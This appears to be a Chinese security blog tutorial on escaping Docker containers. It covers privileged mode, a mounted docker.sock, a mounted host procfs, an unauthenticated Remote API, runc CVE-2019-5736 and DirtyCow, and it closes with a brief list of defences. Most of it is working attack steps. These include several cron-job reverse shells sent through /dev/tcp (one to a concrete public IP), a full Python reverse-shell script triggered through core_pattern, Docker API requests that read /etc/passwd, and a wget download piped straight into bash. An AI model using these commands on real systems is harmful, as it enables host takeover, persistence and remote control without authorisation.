Docker逃逸

原理

docker其实就是一个linux下的进程,它通过NameSpace 等命令实现了内核级别环境隔离(文件、网络、资源),所以相比虚拟机而言,Docker 的隔离性要弱上不少 ,这就导致可以通过很多方法来进行docker逃逸。

Docker 环境判断

1、查找.dockerenv文件

docker下默认存在dockerenv文件,而非docker环境中则没有

2、查询cgroup进程

cat /proc/1/cgroup

image-20240408162611877

3、查看容器环境变量

cat /proc/1/environ

image-20240408162643240

逃逸漏洞汇总

1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492

#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe

#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container

0x01 不安全的配置

特权模式逃逸

以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达到逃逸。

如何判断是否为特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性

当容器为特权模式时,将添加如下功能:使用指南 - 特权容器

特权容器为容器提供了所有功能,还解除了设备cgroup控制器强制执行的所有限制,具备以下特性:

  • Secomp不block任何系统调用
  • /sys、/proc路径可写
  • 容器内能访问主机上所有设备
  • 系统的权能将全部打开

普通容器默认权能为:

Capability Key Capability Description
SETPCAP 修改进程权能
MKNOD 允许使用mknod()系统调用创建特殊文件
AUDIT_WRITE 向内核审计日志写记录
CHOWN 对文件的 UIDs 和 GIDs 做任意的修改(参考 chown(2))
NET_RAW 使用 RAW 和 PACKET sockets;为透明代理绑定任何地址
DAC_OVERRIDE 忽略文件的DAC访问限制
FOWNER 忽略文件属主ID必须和进程用户ID相匹配的限制
FSETID 允许设置文件的setuid位
KILL 允许对不属于自己的进程发送信号
SETGID 允许改变进程的组ID
SETUID 允许改变进程的用户ID
NET_BIND_SERVICE 允许绑定到小于1024的端口
SYS_CHROOT 允许使用chroot()系统调用
SETFCAP 允许向其他进程转移能力以及删除其他进程的能力

当容器为特权模式时,将添加以下权能

Capability Key Capability Description
SYS_MODULE 加载和卸载内核模块
SYS_RAWIO 允许直接访问/devport,/dev/mem,/dev/kmem及原始块设备
SYS_PACCT 允许执行进程的BSD式审计
SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
SYS_NICE 允许提升优先级及设置其他进程的优先级
SYS_RESOURCE 忽略资源限制
SYS_TIME 允许改变系统时钟
SYS_TTY_CONFIG 允许配置TTY设备
AUDIT_CONTROL 启用和禁用内核审计;修改审计过滤器规则;提取审计状态和过滤规则
MAC_ADMIN 覆盖强制访问控制 (Mandatory Access Control (MAC)),为Smack Linux安全模块(Linux Security Module (LSM)) 而实现
MAC_OVERRIDE 允许 MAC 配置或状态改变。为 Smack LSM 而实现
NET_ADMIN 允许执行网络管理任务
SYSLOG 执行特权 syslog(2) 操作
DAC_READ_SEARCH 忽略文件读及目录搜索的DAC访问限制
LINUX_IMMUTABLE 允许修改文件的IMMUTABLE和APPEND属性标志
NET_BROADCAST 允许网络广播和多播访问
IPC_LOCK 允许锁定共享内存片段
IPC_OWNER 忽略IPC所有权检查
SYS_PTRACE 允许跟踪任何进程
SYS_BOOT 允许重新启动系统
LEASE 允许修改文件锁的FL_LEASE标志
WAKE_ALARM 触发将唤醒系统的功能,如设置 CLOCK_REALTIME_ALARM 和 CLOCK_BOOTTIME_ALARM 定时器
BLOCK_SUSPEND 可以阻塞系统挂起的特性

但这里并不能说拥有以上某种功能就是特权容器,因为特权容器还需满足:

  • 必须缺少AppArmor配置文件,否则将允许mount syscall
  • 能够“看到”很多敏感的dev设备

上述两个条件目前还不知道如何获取,所以重点看下特权容器中获取的 Cap 集合

root@227b7e10b9a6:/# cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
CapAmb: 0000000000000000

CapEff 主要是检查线程的执行权限,所以重点看下利用 capsh --decode=0000003fffffffff 进行解码,检索默认没有添加的 NET_ADMIN,发现存在

image-20240408162922307

而非特权容器的 Cap 集合值并进行解码,发现并不存在 NET_ADMIN

因此当执行 cat /proc/1/status | grep Cap 查询对应出来的值为 0000003fffffffff 那么就有可能是特权容器,可尝试逃逸

逃逸

1、首先以特权模式运行一个docker容器

docker run -it --privileged 镜像id /bin/bash

2、查看磁盘文件

fdisk -l

image-20240408163001344

3、新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /test
mount /dev/vda1 /test

4、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

5、成功反弹shell

sock挂载

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演,二者之间通信方式有以下3种:

1、unix:///var/run/docker.sock
2、tcp://host:port
3、fd://socketfd

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。 本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。 因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

逃逸

1、运行一个挂载/var/run/的容器

docker run -it -v /var/run/:/host/var/run/ 5d2df19066ac /bin/bash

2、寻找下挂载的sock文件

find / -name docker.sock

image-20240408163036573

3、在容器内安装client,即docker

apt-get update
apt-get install docker.io

4、查看宿主机docker信息

docker -H unix:///host/var/run/docker.sock info

5、运行一个新容器并挂载宿主机根路径

docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash

image-20240408163054893

6、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

挂载 procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

Docker默认情况下不会为容器开启 User Namespace

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

创建一个反弹 Shell 的 py 脚本
#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

给 Shell 赋予执行权限
chmod 777 .t.py

写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
vim t.c
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
gcc t.c -o t
./t

挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

Remote API未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

docker swarm中默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。

未授权访问

当使用官方推荐启动方式时

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。

image-20240408163124200

1、此时访问/containers/json,便会得到所有容器id字段

image-20240408163140560

2、创建一个 exec

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
  "AttachStdin": true,
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["cat", "/etc/passwd"],
  "DetachKeys": "ctrl-p,ctrl-q",
  "Privileged": true,
  "Tty": true
}

发包后返回exec的id参数

image-20240408163158124

3、执行exec中的命令,成功读取passwd文件

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
 "Detach": false,
 "Tty": false
}

image-20240408163218272

这种方式只是获取到了docker主机的命令执行权限,但是还无法逃逸到宿主机。因此还是需要写公钥或者计时任务进行逃逸

逃逸

1、在容器内安装docker

apt-get update
apt-get install docker.io

2、查看宿主机docker镜像信息

docker -H tcp://ip:2375 images

3、启动一个容器并将宿主机根目录挂在到容器的test目录

docker -H tcp://ip:2375 run -it -v /:/test 5d2df19066ac /bin/bash

4、计时任务反弹shell

echo '* * * * * bash -i >& /dev/tcp/101.200.208.44/4000 0>&1' >> /test/var/spool/cron/root

容器服务缺陷逃逸

runc是一个底层服务工具,runC 管理容器的创建,运行,销毁等,docker部分版本服务运行时底层其实在运行着runc服务,攻击者可以通过特定的容器镜像或者exec操作重写宿主机上的runc 二进制文件,并在宿主机上以root身份执行命令。

影响版本

docker version <=18.09.2

RunC version <=1.0-rc6

环境搭建

由于对版本有限制,所以用之前docker中的ubuntu环境搭建符合漏洞版本的docker,参考Ubuntu安装指定版本的docker - 朝花夕拾 - SegmentFault 思否

1、安装 apt 依赖包,用于通过HTTPS来获取仓库

apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

2、添加 Docker 的官方 GPG 密钥

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

3、设置稳定版仓库(添加到/etc/apt/sources.list中)

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

4、更新apt-get

apt-get update

5、查询docker-ce版本

apt-cache policy docker-ce

6、安装指定版本docker

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

逃逸

1、编译payload中反弹shell地址

image-20240408163252879

2、编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3、编译好后传入docker容器中

docker cp main 1fa6a736e332:/home
docker exec -it 1fa6a736e332 /bin/bash
cd /home/
chmod 777 main

4.运行main程序成功反弹shell

./main

0x02 内核漏洞

CVE-2016-5195 DirtyCow 脏牛逃逸

执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。

Dirty Cow是Linux内核中的提权漏洞,源于Linux内核的内存子系统在处理写入拷贝时存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

docker和宿主机共享内核,因此就可利用该漏洞进行逃逸

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
docker-compose run dirtycow /bin/bash

cd /dirtycow-vdso/
make
./0xdeadbeef ip:port // 反弹shell

CVE-2020-14386

执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。

CVE-2022-0847 DirtyPipe 逃逸

执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

0x03 容器逃逸检测脚本

项目地址:https://github.com/teamssix/container-escape-check

直接在容器中执行以下命令即可

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash

不过大多容器可能没有 wget 命令,因此可以将脚本先克隆到本地,然后上传到容器再执行

git clone https://github.com/teamssix/container-escape-check.git
cd container-escape-check
chmod +x container-escape-check.sh
./container-escape-check.sh

Docker逃逸防御

  • 更新Docker版本到03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736。
  • runc版本 >1.0-rc6
  • k8s 集群版本>1.12
  • Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
  • Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险。
  • 不建议以root权限运行Docker服务。
  • 不建议以privileged(特权模式)启动Docker。
  • 不建议将宿主机目录挂载至容器目录。
  • 不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险
0%